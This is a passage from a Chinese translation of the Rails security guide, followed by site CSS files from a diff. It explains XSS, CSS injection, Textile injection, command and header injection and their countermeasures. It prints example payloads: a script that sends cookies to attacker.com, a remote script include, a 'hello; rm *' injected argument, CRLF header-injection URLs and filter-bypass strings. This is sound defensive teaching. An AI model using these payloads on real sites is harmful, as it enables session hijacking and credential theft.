到目前为止,本文给出的几个例子都不会造成实际危害,接下来,我们要看看攻击者如何窃取用户的 cookie(进而劫持用户会话)。在 JavaScript 中,可以使用 document.cookie 属性来读写文档的 cookie。JavaScript 遵循同源原则,这意味着一个域名上的脚本无法访问另一个域名上的 cookie。document.cookie 属性中保存的是相同域名 Web 服务器上的 cookie,但只要把代码直接嵌入 HTML 文档(就像 XSS 所做的那样),就可以读写这个属性了。把下面的代码注入自己的 Web 应用的任何页面,我们就可以看到自己的 cookie:

+
+<script>document.write(document.cookie);</script>
+
+
+
+

当然,这样的做法对攻击者来说并没有意义,因为这只会让受害者看到自己的 cookie。在接下来的例子中,我们会尝试从 http://www.attacker.com/ 这个 URL 地址加载图像和 cookie。当然,因为这个 URL 地址并不存在,所以浏览器什么也不会显示。但攻击者能够通过这种方式,查看 Web 服务器的访问日志文件,从而看到受害者的 cookie。

+
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+
+
+
+

www.attacker.com 的日志文件中将出现类似这样的一条记录:

+
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+
+
+
+

在 cookie 中添加 httpOnly 标志可以规避这种攻击,这个标志可以禁止 JavaScript 读取 document.cookie 属性。IE v6.SP1、 Firefox v2.0.0.5 和 Opera 9.5 以及更高版本的浏览器都支持 httpOnly 标志,Safari 浏览器也在考虑支持这个标志。但其他浏览器(如 WebTV)或旧版浏览器(如 Mac 版 IE 5.5)不支持这个标志,因此遇到上述攻击时会导致网页无法加载。需要注意的是,即便设置了 httpOnly 标志,通过 Ajax 仍然可以读取 cookie。

7.3.2.2 涂改信息

通过涂改网页信息,攻击者可以做很多事情,例如,显示虚假信息,或者诱使受害者访问攻击者的网站以窃取受害者的 cookie、登录用户名和密码或其他敏感信息。最常见的信息涂改方式是通过 iframe 加载外部代码:

+
+<iframe name="StatPage" src="http://58.xx.xxx.xxx/" width=5 height=5 style="display:none"></iframe>
+
+
+
+

这行代码可以从外部网站加载任何 HTML 和 JavaScript 代码并嵌入当前网站,来自黑客使用 Mpack 攻击框架攻击某个意大利网站的真实案例。Mpack 会尝试利用 Web 浏览器的安全漏洞安装恶意软件,成功率高达 50%。

更专业的攻击可以覆盖整个网站,也可以显示一个和原网站看起来一模一样的表单,并把受害者的用户名密码发送到攻击者的网站,还可以使用 CSS 和 JavaScript 隐藏原网站的正常链接并显示另一个链接,把用户重定向到假冒网站上。

反射式注入攻击不需要储存恶意代码并将其显示给用户,而是直接把恶意代码包含在 URL 地址中。当搜索表单无法转义搜索字符串时,特别容易发起这种攻击。例如,访问下面这个链接,打开的页面会显示,“乔治·布什任命一名 9 岁男孩担任议长……”:[1]

+
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+
+
+
+
7.3.2.3 跨站脚本对策

过滤恶意输入非常重要,但是转义 Web 应用的输出同样也很重要。

尤其对于 XSS,重要的是使用白名单而不是黑名单过滤输入。白名单过滤规定允许输入的值,反之,黑名单过滤规定不允许输入的值。经验告诉我们,黑名单永远做不到万无一失。

假设我们通过黑名单从用户输入中删除 script,如果攻击者注入 <scrscriptipt>,过滤后就能得到 <script>。Rails 的早期版本在 strip_tags()strip_links()sanitize() 方法中使用了黑名单,因此有可能受到下面这样的注入攻击:

+
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+
+
+
+

这行代码会返回 some<script>alert('hello')</script>,也就是说攻击者可以发起注入攻击。这个例子说明了为什么白名单比黑名单更好。Rails 2 及更高版本中使用了白名单,下面是使用新版 sanitize() 方法的例子:

+
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+
+
+
+

通过规定允许使用的标签,sanitize() 完美地完成了过滤输入的任务。不管攻击者使出什么样的花招、设计出多么畸型的标签,都难逃被过滤的命运。

接下来应该转义应用的所有输出,特别是在需要显示未经过滤的用户输入时(例如前面提到的的搜索表单的例子)。使用 escapeHTML() 方法(或其别名 h() 方法),把 HTML 中的字符 &"<> 替换为对应的转义字符 &amp;&quot;&lt;&gt;。然而作为程序员,我们往往很容易忘记这项工作,因此推荐使用 SafeErb 这个 gem,它会提醒我们转义来自外部的字符串。

7.3.2.4 混淆和编码注入

早先的网络流量主要基于有限的西文字符,后来为了传输其他语言的字符,出现了新的字符编码,例如 Unicode。这也给 Web 应用带来了安全威胁,因为恶意代码可以隐藏在不同的字符编码中。Web 浏览器通常可以处理不同的字符编码,但 Web 应用往往不行。下面是通过 UTF-8 编码发动攻击的例子:

+
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+
+
+
+

上述代码运行后会弹出一个消息框。不过,前面提到的 sanitize() 过滤器能够识别此类代码。Hackvertor 是用于字符串混淆和编码的优秀工具,了解这个工具可以帮助我们知己知彼。Rails 提供的 sanitize() 方法能够有效防御编码注入攻击。

7.3.2.5 真实案例

为了了解当前针对 Web 应用的攻击方式,最好看几个真实案例。

下面的代码摘录自 Js.Yamanner@m 制作的雅虎邮件蠕虫。该蠕虫出现于 2006 年 6 月 11 日,是首个针对网页邮箱的蠕虫:

+
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+
+
+
+

该蠕虫利用了雅虎 HTML/JavaScript 过滤器的漏洞,这个过滤器用于过滤 HTML 标签中的所有 targetonload 属性(原因是这两个属性的值可以是 JavaScript)。因为这个过滤器只会执行一次,上述例子中 onload 属性中的蠕虫代码并没有被过滤掉。这个例子很好地诠释了黑名单永远做不到万无一失,也说明了 Web 应用为什么通常都会禁止输入 HTML/JavaScript。

另一个用于概念验证的网页邮箱蠕虫是 Ndjua,这是一个针对四个意大利网页邮箱服务的跨域名蠕虫。更多介绍请阅读 Rosario Valotta 的论文。刚刚介绍的这两个蠕虫,其目的都是为了搜集电子邮件地址,一些从事网络犯罪的黑客可以利用这些邮件地址获取非法收益。

2006 年 12 月,在一次针对 MySpace 的钓鱼攻击中,黑客窃取了 34,000 个真实用户名和密码。这次攻击的原理是,创建名为“login_home_index_html”的个人信息页面,并使其 URL 地址看起来十分正常,同时通过精心设计的 HTML 和 CSS,隐藏 MySpace 的真正内容,并显示攻击者创建的登录表单。

7.4 CSS 注入

CSS 注入实际上是 JavaScript 注入,因为有的浏览器(如 IE、某些版本的 Safari 和其他浏览器)允许在 CSS 中使用 JavaScript。因此,在允许 Web 应用使用自定义 CSS 时,请三思而后行。

著名的 MySpace Samy 蠕虫是解释 CSS 注入攻击原理的最好例子。这个蠕虫只需访问用户的个人信息页面就能向 Samy(攻击者)发送好友请求。在短短几个小时内,Samy 就收到了超过一百万个好友请求,巨大的流量致使 MySpace 宕机。下面我们从技术角度来分析这个蠕虫。

MySpace 禁用了很多标签,但允许使用 CSS。因此,蠕虫的作者通过下面这种方式把 JavaScript 值入 CSS 中:

+
+<div style="background:url('/service/javascript:alert(1)')">
+
+
+
+

这样 style 属性就成为了恶意代码。在这段恶意代码中,不允许使用单引号和多引号,因为这两种引号都已经使用了。但是在 JavaScript 中有一个好用的 eval() 函数,可以把任意字符串作为代码来执行。

+
+<div id="mycode" expr="alert('hah!')" style="background:url('/service/javascript:eval(document.all.mycode.expr)')">
+
+
+
+

eval() 函数是黑名单输入过滤器的噩梦,它使 innerHTML 这个词得以藏身 style 属性之中:

+
+alert(eval('document.body.inne' + 'rHTML'));
+
+
+
+

下一个问题是,MySpace 会过滤 javascript 这个词,因此作者使用 java<NEWLINE>script 来绕过这一限制:

+
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵

+script:eval(document.all.mycode.expr)')">
+
+
+
+

CSRF 安全令牌是蠕虫作者面对的另一个问题。如果没有令牌,就无法通过 POST 发送好友请求。解决方案是,在添加好友前先向用户的个人信息页面发送 GET 请求,然后分析返回结果以获取令牌。

最后,蠕虫作者完成了一个大小为 4KB 的蠕虫,他把这个蠕虫注入了自己的个人信息页而。

对于 Gecko 内核的浏览器(例如 Firefox),moz-binding CSS 属性也已被证明可用于把 JavaScript 植入 CSS 中。

7.4.1 对策

这个例子再次说明,黑名单永远做不到万无一失。不过,在 Web 应用中使用自定义 CSS 是一个非常罕见的特性,为这个特性编写好用的 CSS 白名单过滤器可能会很难。如果想要允许用户自定义颜色或图片,我们可以让用户在 Web 应用中选择所需的颜色或图片,然后自动生成对应的 CSS。如果确实需要编写 CSS 白名单过滤器,可以参照 Rails 提供的 sanitize() 进行设计。

7.5 Textile 注入

基于安全考虑,我们可能想要用其他文本格式(标记语言)来代替 HTML,然后在服务器端把所使用的标记语言转换为 HTML。RedCloth 是一种可以在 Ruby 中使用的标记语言,但在不采取预防措施的情况下,这种标记语言同样存在受到 XSS 攻击的风险。

例如,RedCloth 会把 _test_ 转换为 <em>test</em>,显示为斜体。但直到最新的 3.0.4 版,这一特性都存在受到 XSS 攻击的风险。全新的第 4 版已经移除了这一严重的安全漏洞。然而即便是第 4 版也存在一些安全漏洞,仍有必要采取预防措施。下面给出了针对 3.0.4 版的例子:

+
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+
+
+
+

使用 :filter_html 选项可以移除并非由 Textile 处理器创建的 HTML:

+
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+
+
+
+

不过,这个选项不会过滤所有的 HTML,RedCloth 的作者在设计时有意保留了一些标签,例如 <a>

+
+RedCloth.new("<a href='/service/javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="/service/javascript:alert(1)">hello</a></p>"
+
+
+
+
7.5.1 对策

建议将 RedCloth 和白名单输入过滤器结合使用,具体操作请参考 跨站脚本对策

7.6 Ajax 注入

对于 Ajax 动作,必须采取和常规控制器动作一样的安全预防措施。不过,至少存在一个例外:如果动作不需要渲染视图,那么在控制器中就应该进行转义。

如果使用了 in_place_editor 插件,或者控制器动作只返回字符串而不渲染视图,我们就应该在动作中转义返回值。否则,一旦返回值中包含 XSS 字符串,这些恶意代码就会在发送到浏览器时执行。请使用 h() 方法对所有输入值进行转义。

7.7 命令行注入

请谨慎使用用户提供的命令行参数。

如果应用需要在底层操作系统中执行命令,可以使用 Ruby 提供的几个方法:exec(command)syscall(command)system(command)command。如果整条命令或命令的某一部分是由用户输入的,我们就必须特别小心。这是因为在大多数 Shell 中,可以通过分号(;)或竖线(|)把几条命令连接起来,这些命令会按顺序执行。

为了防止这种情况,我们可以使用 system(command, parameters) 方法,通过这种方式传递命令行参数更安全。

+
+system("/bin/echo","hello; rm *")
+# 打印 "hello; rm *" 而不会删除文件
+
+
+
+

7.8 首部注入

HTTP 首部是动态生成的,因此在某些情况下可能会包含用户注入的信息,从而导致错误重定向、XSS 或 HTTP 响应拆分(HTTP response splitting)。

HTTP 请求首部中包含 Referer、User-Agent(客户端软件)和 Cookie 等字段;响应首部中包含状态码、Cookie 和 Location(重定向目标 URL)等字段。这些字段都是由用户提供的,用户可以想办法修改。因此,别忘了转义这些首部字段,例如在管理页面中显示 User-Agent 时。

除此之外,在部分基于用户输入创建响应首部时,知道自己在做什么很重要。例如,为表单添加 referer 字段,由用户指定 URL 地址,以便把用户重定向到指定页面:

+
+redirect_to params[:referer]
+
+
+
+

这行代码告诉 Rails 把用户提供的地址字符串放入首部的 Location 字段,并向浏览器发送 302(重定向)状态码。于是,恶意用户可以这样做:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+
+
+
+

由于 Rails 2.1.2 之前的版本有缺陷,黑客可以在首部中注入任意字段,例如:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+
+
+
+

注意,%0d%0a 是 URL 编码后的 \r\n,也就是 Ruby 中的回车换行符(CRLF)。因此,上述第二个例子得到的 HTTP 首部如下(第二个 Location 覆盖了第一个 Location):

+
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+
+
+
+

通过这些例子我们看到,首部注入攻击的原理是在首部字段中注入回车换行符。通过错误重定向,攻击者可以把用户重定向到钓鱼网站,在一个和正常网站看起来完全一样的页面中要求用户再次登录,从而窃取登录的用户名密码。攻击者还可以通过浏览器安全漏洞安装恶意软件。Rails 2.1.2 的 redirect_to 方法对 Location 字段的值做了转义。当我们使用用户输入创建其他首部字段时,需要手动转义。

7.8.1 响应拆分

既然存在首部注入的可能性,自然也存在响应拆分的可能性。在 HTTP 响应中,首部之后是两个回车换行符,然后是真正的数据(通常是 HTML)。响应拆分的工作原理是,在首部中插入两个回车换行符,之后紧跟带有恶意 HTML 代码的另一个响应。这样,响应就变为:

+
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+
+
+

在某些情况下,受到响应拆分攻击后,受害者接收到的是恶意 HTML 代码。不过,这种情况只会在保持活动(Keep-Alive)的连接中发生,而很多浏览器都使用一次性连接。当然,我们不能指望通过浏览器的特性来防御这种攻击。这是一个严重的安全漏洞,正确的做法是把 Rails 升级到 2.0.5 和 2.1.2 及更高版本,这样才能消除首部注入(和响应拆分)的风险。

8 生成不安全的查询

由于 Active Record 和 Rack 解析查询参数的特有方式,通过在 WHERE 子句中使用 IS NULL,攻击者可以发起非常规的数据库查询。为了应对这类安全问题(link:https://groups.google.com/forum/*!searchin/rubyonrails-security/deep\_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ\[CVE-2012-2660\]、[CVE-2012-2694](https://groups.google.com/forum/!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) 和 CVE-2013-0155),Rails 提供了 deep_munge 方法,以保证默认情况下的数据库安全。*

在未使用 deep_munge 方法的情况下,攻击者可以利用下面代码中的安全漏洞发起攻击:

+
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+
+
+
+

只要 params[:token] 的值是 [nil][nil, nil, …​]['foo', nil] 其中之一,上述测试就会被被绕过,而带有 IS NULLIN ('foo', NULL) 的 WHERE 子句仍将被添加到 SQL 查询中。

默认情况下,为了保证数据库安全,deep_munge 方法会把某些值替换为 nil。下述表格列出了经过替换处理后 JSON 请求和查询参数的对应关系:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
JSON参数
{ "person": null }{ :person => nil }
{ "person": [] }{ :person => [ }]
{ "person": [null] }{ :person => [ }]
{ "person": [null, null, …​] }{ :person => [ }]
{ "person": ["foo", null] }{ :person => ["foo" }]
+

当然,如果我们非常了解这类安全风险并知道如何处理,也可以通过设置禁用 deep_munge 方法:

+
+config.action_dispatch.perform_deep_munge = false
+
+
+
+

9 默认首部

Rails 应用返回的每个 HTTP 响应都带有下列默认的安全首部:

+
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+
+
+
+

config/application.rb 中可以配置默认首部:

+
+config.action_dispatch.default_headers = {
+  'Header-Name' => 'Header-Value',
+  'X-Frame-Options' => 'DENY'
+}
+
+
+
+

如果需要也可以删除默认首部:

+
+config.action_dispatch.default_headers.clear
+
+
+
+

下面是常见首部的说明:

+
    +
  • X-Frame-Options:Rails 中的默认值是 'SAMEORIGIN',即允许使用相同域名中的 iframe。设置为 'DENY' 将禁用所有 iframe。设置为 'ALLOWALL' 将允许使用所有域名中的 iframe。

  • +
  • X-XSS-Protection:Rails 中的默认值是 '1; mode=block',即使用 XSS 安全审计程序,如果检测到 XSS 攻击就不显示页面。设置为 '0',将关闭 XSS 安全审计程序(当响应中需要包含通过请求参数传入的脚本时)。

  • +
  • X-Content-Type-Options:Rails 中的默认值是 'nosniff',即禁止浏览器猜测文件的 MIME 类型。

  • +
  • X-Content-Security-Policy:强大的安全机制,用于设置加载某个类型的内容时允许的来源网站。

  • +
  • Access-Control-Allow-Origin:用于设置允许绕过同源原则的网站,以便发送跨域请求。

  • +
  • Strict-Transport-Security:用于设置是否强制浏览器通过安全连接访问网站。

  • +
+

10 环境安全

如何增强应用代码和环境的安全性已经超出了本文的范畴。但是,别忘了保护好数据库配置(例如 config/database.yml)和服务器端密钥(例如 config/secrets.yml)。要想进一步限制对敏感信息的访问,对于包含敏感信息的文件,可以针对不同环境使用不同的专用版本。

10.1 自定义密钥

默认情况下,Rails 生成的 config/secrets.yml 文件中包含了应用的 secret_key_base,还可以在这个文件中包含其他密钥,例如外部 API 的访问密钥。

此文件中的密钥可以通过 Rails.application.secrets 访问。例如,当 config/secrets.yml 包含如下内容时:

+
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+
+
+
+

在开发环境中,Rails.application.secrets.some_api_key 会返回 SOMEKEY

要想在密钥值为空时抛出异常,请使用炸弹方法:

+
+Rails.application.secrets.some_api_key! # => 抛出 KeyError: key not found: :some_api_key
+
+
+
+

11 其他资源

安全漏洞层出不穷,与时俱进至关重要,哪怕只是错过一个新出现的安全漏洞,都有可能造成灾难性后果。关于 Rails 安全问题的更多介绍,请访问下列资源:

+ +

[1] 此链接已失效,应该是网站修复了这个安全漏洞。——译者注

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/stylesheets/fixes.css b/v5.0/stylesheets/fixes.css new file mode 100644 index 0000000..bf86b29 --- /dev/null +++ b/v5.0/stylesheets/fixes.css @@ -0,0 +1,16 @@ +/* + Fix a rendering issue affecting WebKits on Mac. + See https://github.com/lifo/docrails/issues#issue/16 for more information. +*/ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + line-height: 1.25em !important; +} diff --git a/v5.0/stylesheets/kindle.css b/v5.0/stylesheets/kindle.css new file mode 100644 index 0000000..b26cd17 --- /dev/null +++ b/v5.0/stylesheets/kindle.css @@ -0,0 +1,11 @@ +p { text-indent: 0; } + +p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;} + +.pagebreak { page-break-before: always; } +#toc H3 { + text-indent: 1em; +} +#toc .document { + text-indent: 2em; +} \ No newline at end of file diff --git a/v5.0/stylesheets/main.css b/v5.0/stylesheets/main.css new file mode 100644 index 0000000..ed558e4 --- /dev/null +++ b/v5.0/stylesheets/main.css @@ -0,0 +1,713 @@ +/* Guides.rubyonrails.org */ +/* Main.css */ +/* Created January 30, 2009 */ +/* Modified February 8, 2009 +--------------------------------------- */ + +/* General +--------------------------------------- */ + +.left {float: left; margin-right: 1em;} +.right {float: right; margin-left: 1em;} +@media screen and (max-width: 480px) { + .left, .right { float: none; } +} +.small {font-size: smaller;} +.large {font-size: larger;} +.hide {display: none;} + +li ul, li ol { margin:0 1.5em; } +ul, ol { margin: 0 1.5em 1.5em 1.5em; } + +ul { list-style-type: disc; } +ol { list-style-type: decimal; } + +dl { margin: 0 0 1.5em 0; } +dl dt { font-weight: bold; } +dd { margin-left: 1.5em;} + +pre, code { + font-size: 1em; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace; + line-height: 1.5; + margin: 1.5em 0; + overflow: auto; + color: #222; +} +pre, tt, code { + white-space: pre-wrap; /* css-3 */ + white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + word-wrap: break-word; /* Internet Explorer 5.5+ */ +} + +abbr, acronym { border-bottom: 1px dotted #666; } +address { margin: 0 0 1.5em; font-style: italic; } +del { color:#666; } + +blockquote { margin: 1.5em; color: #666; font-style: italic; } +strong { font-weight: bold; } +em, dfn { font-style: italic; } +dfn { font-weight: bold; } +sup, sub { line-height: 0; } +p {margin: 0 0 1.5em;} + +label { font-weight: bold; } +fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; } +legend { font-weight: bold; font-size:1.2em; } + +input.text, input.title, +textarea, select { + margin:0.5em 0; + border:1px solid #bbb; +} + +table { + margin: 0 0 1.5em; + border: 2px solid #CCC; + background: #FFF; + border-collapse: collapse; +} + +table th, table td { + padding: 0.25em 1em; + border: 1px solid #CCC; + border-collapse: collapse; +} + +table th { + border-bottom: 2px solid #CCC; + background: #EEE; + font-weight: bold; + padding: 0.5em 1em; +} + +img { + max-width: 100%; +} + + +/* Structure and Layout +--------------------------------------- */ + +body { + text-align: center; + font-family: Helvetica, Arial, sans-serif; + font-size: 87.5%; + line-height: 1.5em; + background: #fff; + color: #999; +} + +.wrapper { + text-align: left; + margin: 0 auto; + max-width: 960px; + padding: 0 1em; +} + +.red-button { + display: inline-block; + border-top: 1px solid rgba(255,255,255,.5); + background: #751913; + background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913)); + background: -webkit-linear-gradient(top, #c52f24, #751913); + background: -moz-linear-gradient(top, #c52f24, #751913); + background: -ms-linear-gradient(top, #c52f24, #751913); + background: -o-linear-gradient(top, #c52f24, #751913); + padding: 9px 18px; + -webkit-border-radius: 11px; + -moz-border-radius: 11px; + border-radius: 11px; + -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0; + -moz-box-shadow: rgba(0,0,0,1) 0 1px 0; + box-shadow: rgba(0,0,0,1) 0 1px 0; + text-shadow: rgba(0,0,0,.4) 0 1px 0; + color: white; + font-size: 15px; + font-family: Helvetica, Arial, Sans-Serif; + text-decoration: none; + vertical-align: middle; + cursor: pointer; +} +.red-button:active { + border-top: none; + padding-top: 10px; + background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24)); + background: -webkit-linear-gradient(top, #751913, #c52f24); + background: -moz-linear-gradient(top, #751913, #c52f24); + background: -ms-linear-gradient(top, #751913, #c52f24); + background: -o-linear-gradient(top, #751913, #c52f24); +} + +#topNav { + padding: 1em 0; + color: #565656; + background: #222; +} + +.s-hidden { + display: none; +} + +@media screen and (min-width: 1025px) { + .more-info-button { + display: none; + } + .more-info-links { + list-style: none; + display: inline; + margin: 0; + } + + .more-info { + display: inline-block; + } + .more-info:after { + content: " |"; + } + + .more-info:last-child:after { + content: ""; + } +} + +@media screen and (max-width: 1024px) { + #topNav .wrapper { text-align: center; } + .more-info-button { + position: relative; + z-index: 25; + } + + .more-info-label { + display: none; + } + + .more-info-container { + position: absolute; + top: .5em; + z-index: 20; + margin: 0 auto; + left: 0; + right: 0; + width: 20em; + } + + .more-info-links { + display: block; + list-style: none; + background-color: #c52f24; + border-radius: 5px; + padding-top: 5.25em; + border: 1px #980905 solid; + } + .more-info-links.s-hidden { + display: none; + } + .more-info { + padding: .75em; + border-top: 1px #980905 solid; + } + .more-info a, .more-info a:link, .more-info a:visited { + display: block; + color: white; + width: 100%; + height: 100%; + text-decoration: none; + text-transform: uppercase; + } +} + +#header { + background: #c52f24 url(http://github.com/images/header_tile.gif) repeat-x; + color: #FFF; + padding: 1.5em 0; + z-index: 99; +} + +#feature { + background: #d5e9f6 url(http://github.com/images/feature_tile.gif) repeat-x; + color: #333; + padding: 0.5em 0 1.5em; +} + +#container { + color: #333; + padding: 0.5em 0 1.5em 0; +} + +#mainCol { + max-width: 630px; + margin-left: 2em; +} + +#subCol { + position: absolute; + z-index: 0; + top: 21px; + right: 0; + background: #FFF; + padding: 1em 1.5em 1em 1.25em; + width: 17em; + font-size: 0.9285em; + line-height: 1.3846em; + margin-right: 1em; +} + + +@media screen and (max-width: 800px) { + #subCol { + position: static; + width: inherit; + margin-left: -1em; + margin-right: 0; + padding-right: 1.25em; + } +} + +#extraCol {display: none;} + +#footer { + padding: 2em 0; + background: #222 url(http://github.com/images/footer_tile.gif) repeat-x; +} +#footer .wrapper { + padding-left: 1em; + max-width: 960px; +} + +#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;} +#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;} + +@media screen and (max-width: 800px) { + #feature .wrapper { padding-right: 0; } +} + +/* Links +--------------------------------------- */ + +a, a:link, a:visited { + color: #ee3f3f; + text-decoration: underline; +} + +#mainCol a, #subCol a, #feature a {color: #980905;} +#mainCol a code, #subCol a code, #feature a code {color: #980905;} + +/* Navigation +--------------------------------------- */ + +.nav { + margin: 0; + padding: 0; + list-style: none; + float: right; + margin-top: 1.5em; + font-size: 1.2857em; +} + +.nav .nav-item {color: #FFF; text-decoration: none;} +.nav .nav-item:hover {text-decoration: underline;} + +.guides-index-large, .guides-index-small .guides-index-item { + padding: 0.5em 1.5em; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + background: #980905; + position: relative; + color: white; +} + +.guides-index .guides-index-item { + background: #980905 url(http://github.com/images/nav_arrow.gif) no-repeat right top; + padding-right: 1em; + position: relative; + z-index: 15; + padding-bottom: 0.125em; +} + +.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover { + background-position: right -81px; + text-decoration: underline !important; +} + +@media screen and (min-width: 481px) { + .nav { + float: right; + margin-top: 1.5em; + font-size: 1.2857em; + } + .nav>li { + display: inline; + margin-left: 0.5em; + } + .guides-index.guides-index-small { + display: none; + } +} + +@media screen and (max-width: 480px) { + .nav { + float: none; + width: 100%; + text-align: center; + } + .nav .nav-item { + display: block; + margin: 0; + width: 100%; + background-color: #980905; + border: solid 1px #620c04; + border-top: 0; + padding: 15px 0; + text-align: center; + } + .nav .nav-item, .nav-item.guides-index-item { + text-transform: uppercase; + } + .nav .nav-item:first-child, .nav-item.guides-index-small { + border-top: solid 1px #620c04; + } + .guides-index.guides-index-small { + display: block; + margin-top: 1.5em; + } + .guides-index.guides-index-large { + display: none; + } + .guides-index-small .guides-index-item { + font: inherit; + padding-left: .75em; + font-size: .95em; + background-position: 96% 16px; + -webkit-appearance: none; + } + .guides-index-small .guides-index-item:hover{ + background-position: 96% -65px; + } +} + +#guides { + width: 27em; + display: block; + background: #980905; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25); + -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em; + color: #f1938c; + padding: 1.5em 2em; + position: absolute; + z-index: 10; + top: -0.25em; + right: 0; + padding-top: 2em; +} + +#guides dt, #guides dd { + font-weight: normal; + font-size: 0.722em; + margin: 0; + padding: 0; +} +#guides dt {padding:0; margin: 0.5em 0 0;} +#guides a {color: #FFF; background: none !important; text-decoration: none;} +#guides a:hover {text-decoration: underline;} +#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;} +#guides .R {float: right;} +#guides hr { + display: block; + border: none; + height: 1px; + color: #f1938c; + background: #f1938c; +} + +/* Headings +--------------------------------------- */ + +h1 { + font-size: 2.5em; + line-height: 1em; + margin: 0.6em 0 .2em; + font-weight: bold; +} + +h2 { + font-size: 2.1428em; + line-height: 1em; + margin: 0.7em 0 .2333em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h2 { + font-size: 1.45em; + } +} + +h3 { + font-size: 1.7142em; + line-height: 1.286em; + margin: 0.875em 0 0.2916em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h3 { + font-size: 1.45em; + } +} + +h4 { + font-size: 1.2857em; + line-height: 1.2em; + margin: 1.6667em 0 .3887em; + font-weight: bold; +} + +h5 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: bold; +} + +h6 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: normal; +} + +.section { + padding-bottom: 0.25em; + border-bottom: 1px solid #999; +} + +/* Content +--------------------------------------- */ + +.pic { + margin: 0 2em 2em 0; +} + +#topNav strong {color: #999; margin-right: 0.5em;} +#topNav strong a {color: #FFF;} + +#header h1 { + float: left; + background: url(http://github.com/images/rails_guides_logo.gif) no-repeat; + width: 297px; + text-indent: -9999em; + margin: 0; + padding: 0; +} + +@media screen and (max-width: 480px) { + #header h1 { + float: none; + } +} + +#header h1 a { + text-decoration: none; + display: block; + height: 77px; +} + +#feature p { + font-size: 1.2857em; + margin-bottom: 0.75em; +} + +@media screen and (max-width: 480px) { + #feature p { + 